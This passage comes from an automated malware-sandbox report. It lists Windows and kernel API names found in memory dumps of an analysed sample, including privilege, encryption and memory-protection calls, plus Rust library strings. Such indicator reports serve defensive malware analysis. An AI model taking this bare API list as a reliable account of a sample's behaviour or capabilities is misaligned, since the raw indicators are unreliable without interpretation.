"00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleScreenBufferSize"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleActiveScreenBuffer"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpiW"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "RtlGUIDFromString"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "DelayLoadFailureHook"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00004512.00000000.274160.08E50000.00000004.mdmp, 00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "WinStationFreeMemory"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "WinStationCloseServer"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "WinStationOpenServerW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "RegConnectRegistryW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountSidW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "OpenSCManagerW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "EnumServicesStatusExW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "CloseServiceHandle"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "GetNumberFormatW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "EnumWindowStationsW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "GetProcessWindowStation"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "OpenWindowStationW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "SetProcessWindowStation"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "CloseWindowStation"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "EnumDesktopsW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "GetThreadDesktop"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "OpenDesktopW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "SetThreadDesktop"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "CloseDesktop"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "EnumWindows"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "GetWindowThreadProcessId"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "GetWindow"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "GetWindowTextW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "wsprintfW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "RtlTimeToElapsedTimeFields"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "RtlLargeIntegerToChar"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "NtQueryInformationProcess"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "WNetGetLastErrorW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "WNetAddConnection2W"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "WNetCancelConnection2W"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "StrStrIW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeSecurity"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "NetServerGetInfo"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "NetApiBufferFree"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "lstrlenW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "FileTimeToSystemTime"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "lstrlenA"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "GetThreadLocale"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleMode"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "HeapValidate"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameExW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "GetTimeFormatW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "CharUpperW"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "RtlVerifyVersionInfo"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API (Indicator: "KeSetEvent"; Source: "00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found reference to API (Indicator: "RtlCompareString"; Source: "00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found reference to API (Indicator: "RtlInitUnicodeString"; Source: "00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found reference to API (Indicator: "RtlUpperChar"; Source: "00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found reference to API (Indicator: "RtlVerifyVersionInfo"; Source: "00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found reference to API (Indicator: "IoCsqInsertIrpEx"; Source: "00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found reference to API (Indicator: "IoCsqRemoveIrp"; Source: "00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found reference to API (Indicator: "RtlGetThreadLangIdByIndex"; Source: "00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found reference to API (Indicator: "RtlpGetNameFromLangInfoNode"; Source: "00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found reference to API (Indicator: "NtDelayExecution"; Source: "00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found reference to API (Indicator: "RtlGetNtProductType"; Source: "00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found reference to API (Indicator: "PoSetPowerState"; Source: "00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found reference to API (Indicator: "RtlCutoverTimeToSystemTime"; Source: "00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found reference to API (Indicator: "RtlTimeToTimeFields"; Source: "00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found reference to API (Indicator: "IoWMIOpenBlock"; Source: "00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found reference to API (Indicator: "IoWMIRegistrationControl"; Source: "00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found reference to API (Indicator: "IoWMIWriteEvent"; Source: "00000000-00006548.00000000.273667.A24C0000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found reference to API (Indicator: "RtlFindClearBits"; Source: "00000000-00006548.00000000.273667.A2519000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found reference to API (Indicator: "RtlFindClearBitsAndSet"; Source: "00000000-00006548.00000000.273667.A2519000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found reference to API (Indicator: "RtlFindClearRuns"; Source: "00000000-00006548.00000000.273667.A2519000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found reference to API (Indicator: "RtlFindLastBackwardRunClear"; Source: "00000000-00006548.00000000.273667.A2519000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found reference to API (Indicator: "RtlFindSetBits"; Source: "00000000-00006548.00000000.273667.A2519000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found reference to API (Indicator: "RtlInterlockedClearBitRun"; Source: "00000000-00006548.00000000.273667.A2519000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found reference to API (Indicator: "RtlSetAllBits"; Source: "00000000-00006548.00000000.273667.A2519000.00000004.mdmp, 00000000-00006548.00000001.273794.A24C0000.00000004.mdmp") Found reference to API (Indicator: "KeRegisterBugCheckCallback"; Source: "00000000-00006548.00000000.273667.A44B4000.00000004.mdmp, 00000000-00006548.00000001.273794.A44B4000.00000004.mdmp") Found reference to API (Indicator: "KeRegisterBugCheckReasonCallback"; Source: "00000000-00006548.00000000.273667.A44B4000.00000004.mdmp, 00000000-00006548.00000001.273794.A44B4000.00000004.mdmp") Found reference to API (Indicator: "ExInterlockedInsertHeadList"; Source: "00000000-00006548.00000000.273667.A44B4000.00000004.mdmp, 00000000-00006548.00000001.273794.A44B4000.00000004.mdmp") Found reference to API (Indicator: "ExInterlockedInsertTailList"; Source: "00000000-00006548.00000000.273667.A44B4000.00000004.mdmp, 00000000-00006548.00000001.273794.A44B4000.00000004.mdmp") Found reference to API (Indicator: "KeAcquireInterruptSpinLock"; Source: "00000000-00006548.00000000.273667.A44B4000.00000004.mdmp, 00000000-00006548.00000001.273794.A44B4000.00000004.mdmp") Found reference to API (Indicator: "KeReleaseInterruptSpinLock"; Source: "00000000-00006548.00000000.273667.A44B4000.00000004.mdmp, 00000000-00006548.00000001.273794.A44B4000.00000004.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeSecurity"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "SafeArrayPutElement"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "SysAllocString"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "SysFreeString"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "VariantClear"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "WNetOpenEnumA"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "LoadIconA"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableA"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "VirtualQuery"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "Wow64DisableWow64FsRedirection"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "Wow64RevertWow64FsRedirection"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "NtAllocateVirtualMemory"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "NtFreeVirtualMemory"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00006552.00000000.274161.9E150000.00000004.mdmp, 00000000-00006552.00000001.275090.A0390000.00000004.mdmp")42:T73d,Found reference to API "GetLastError" (Indicator: "GetLastError"; File: "file") Found reference to API "SetLastError" (Indicator: "SetLastError"; File: "file") Found reference to API "WSAGetLastError" (Indicator: "GetLastError"; File: "file") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "WSAGetLastError" (Indicator: "GetLastError"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API "The function "%1" failed unexpectedly. Error=%2!d!, GetLastError=%3!d!." (Indicator: "GetLastError"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found reference to API "The function: "%1" failed unexpectedly. GetLastError=%2!d!." (Indicator: "GetLastError"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found reference to API "GetLastError: %2!d!.%n" (Indicator: "GetLastError"; Source: "00000000-00004512.00000000.274160.0A840000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API "WNetGetLastErrorW" (Indicator: "GetLastError"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp")43:T13ac,Found reference string "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\alloc\src\collections\btree\map.rs" (Indicator: "/rustc/"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference string "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sync\mpmc\context.rs" (Indicator: "/rustc/"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference string "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sync\once_lock.rs" (Indicator: "/rustc/"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference string "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sync\mpmc\list.rs" (Indicator: "/rustc/"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference string "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sync\mpmc\zero.rs" (Indicator: "/rustc/"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference string "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sync\mpmc\mod.rs" (Indicator: "/rustc/"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference string "/rustc/8bab26f4f68e0e26f0bb7960be334d5b520ea452/library\std\src\sync\mpmc\array.rs" (Indicator: "/rustc/"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference string "internal error: entered unreachable code: invalid Once 